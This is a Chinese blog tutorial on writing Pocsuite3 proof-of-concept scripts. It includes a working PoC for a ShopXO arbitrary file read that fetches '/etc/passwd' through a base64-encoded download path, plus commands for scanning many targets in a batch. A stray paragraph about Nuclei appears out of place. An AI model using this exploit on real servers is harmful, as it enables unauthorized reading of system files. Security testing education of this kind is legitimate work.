Pocsuite poc简单编写

admin 2023年11月24日00:38:50评论12 views字数 2679阅读8分55秒阅读模式

Pocsuite poc简单编写

Pocsuite是什么

Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。它是知道创宇安全研究团队发展的基石,是团队发展至今一直维护的一个项目,自 2015 年开源以来,不断更新迭代,保障了我们的 Web 安全研究能力的领先。

你可以直接使用 Pocsuite3 进行漏洞的验证与利用,也可以基于 Pocsuite3 进行 PoC/Exp 的开发,因为它也是一个 PoC 开发框架;同时,还可以在你的漏洞测试工具里直接集成 Pocsuite3,它也提供标准的调用类。

利用的漏洞扫描程序,旨在探测现代应用程序、基础设施、云平台和网络,帮助识别和缓解漏洞。

Nuclei 的核心是利用模板(以简单的 YAML 文件表示)来描述检测、排名和解决特定安全缺陷的方法。

每个模板都描绘了可能的攻击路线,详细说明了漏洞、其严重性、优先级以及偶尔相关的漏洞利用。这种以模板为中心的方法确保 Nuclei 不仅可以识别潜在威胁,还可以查明具有实际影响的可利用漏洞。

Pocsuite poc简单编写
Pocsuite poc简单编写
#参考网址:https://pocsuite.org/guide/install.html#pocsuite 命令行参数说明:https://pocsuite.org/guide/parameter-pocsuite.html

✨ 安装Pocsuite3

Pocsuite poc简单编写
#在MacOS 上安装brew info pocsuite3brew install pocsuite3#linux安装sudo apt updatesudo apt install pocsuite3#windows安装https://github.com/knownsec/pocsuite3/archive/master.zip#pip安装模块python3 cli.py -h(检验安装效果)

✨Pocsuite 漏洞验证

#运行方法Pocsuite3 有三种运行方法,1、命令行;2、交互式控制台;3、集成调用。##命令行##直接运行 pocsuite 命令,并使用对应参数指定待测试的目标和 PoC。也可以将参数定义在 pocsuite3.ini 文件中,然后使用 pocsuite -c pocsuite.ini 运行。##交互式控制台##类似 Metasploit 的控制台,使用 poc-console 命令进入。##集成调用##Pocsuite3 api 提供了集成调用 pocsuite3 的全部功能函数可参见测试用例 tests/test_import_pocsuite_execute.py。#参考官网说明https://pocsuite.org/guide/poc-script-write.html#pocsuite生成模版pocsuite -n

shopxo 文件读取

Pocsuite poc简单编写

生成模版后修改

Pocsuite poc简单编写


在生成的20231123_pre-auth_other.py文件基础上做修改

#!/usr/bin/env python3# -*- coding: utf-8 -*-from pocsuite3.api import (    minimum_version_required, POCBase, register_poc, requests, logger,    OptString, OrderedDict,    random_str,)minimum_version_required('2.0.5')class DemoPOC(POCBase):    vulID = '01'    version = '1'    author = 'aa11le'    vulDate = '2023-11-23'    createDate = '2023-11-23'    updateDate = '2023-11-23'    references = []    name = 'ShopXO存在任意文件读取(CNVD-2021-15822)漏洞'    appPowerLink = 'http://shopxo.net/about.html'    appName = 'ShopXO'    appVersion = ''    vulType = 'Other'    desc = 'Vulnerability description'    samples = ['']    install_requires = ['']    pocDesc = 'User manual of poc'    dork = {'zoomeye': ''}    suricata_request = ''    suricata_response = ''    def _verify(self):        result = {}        path = '/public/index.php?s=/index/qrcode/download/url/L2V0Yy9wYXNzd2Q='#/etc/passwd的base64编码        headers = {            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',            'Connection': 'close',            'Content-Length': '369',            'Accept': '*/*',            'Accept-Language': 'en',            'Content-Type': 'text/xml; charset=utf-8',            'Accept-Encoding': 'gzip',        }        r = requests.get(self.url + path )        if r and r.status_code == 200 and "nologin" in r.text:            result['VerifyInfo'] = {}            result['VerifyInfo']['URL'] = self.url        return self.parse_output(result)register_poc(DemoPOC)

✨ 使用pocsuite批量漏洞检测

Pocsuite poc简单编写
#pocsuite使用#单个目标检测pocsuite -r ./20231123_pre-auth_other.py -u http://192.168.130.130:36433/ --verify#批量检测pocsuite -r ./20231123_pre-auth_other.py -f url.txt --verify

Pocsuite poc简单编写





原文始发于微信公众号(echoabced):Pocsuite poc简单编写

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月24日00:38:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Pocsuite poc简单编写https://cn-sec.com/archives/2234038.html

发表评论

匿名网友 填写信息